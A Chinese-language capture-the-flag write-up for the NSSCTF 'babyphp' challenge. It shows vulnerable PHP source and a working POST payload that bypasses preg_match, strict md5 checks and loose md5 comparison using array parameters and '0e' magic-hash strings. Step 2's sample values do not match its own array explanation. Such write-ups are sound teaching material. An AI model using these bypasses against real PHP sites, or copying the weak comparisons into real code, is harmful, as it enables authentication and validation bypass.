Problem: [NSSCTF 2022 Spring Recruit]babyphp
[[toc]]
思路
- 解题大致思路
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?> let's get some php
1,preg_match 函数数组返回false,绕过
a[]=1
2,要求b1的值不能等于b2的值,并且强比较两个值的类型使用数组绕过强比较,两边数组都返回为null所以相等。
b1=1&b2=2
3,要求c1的值不等于c2的至,并且都是字符串,然后弱比较md5的值所以使用0e绕过
c1=QNKCDZO&c2=240610708
EXP
a[]=1&b1[]=21&b2[]=1&c1=QNKCDZO&c2=240610708
总结
- 对该题的考点总结
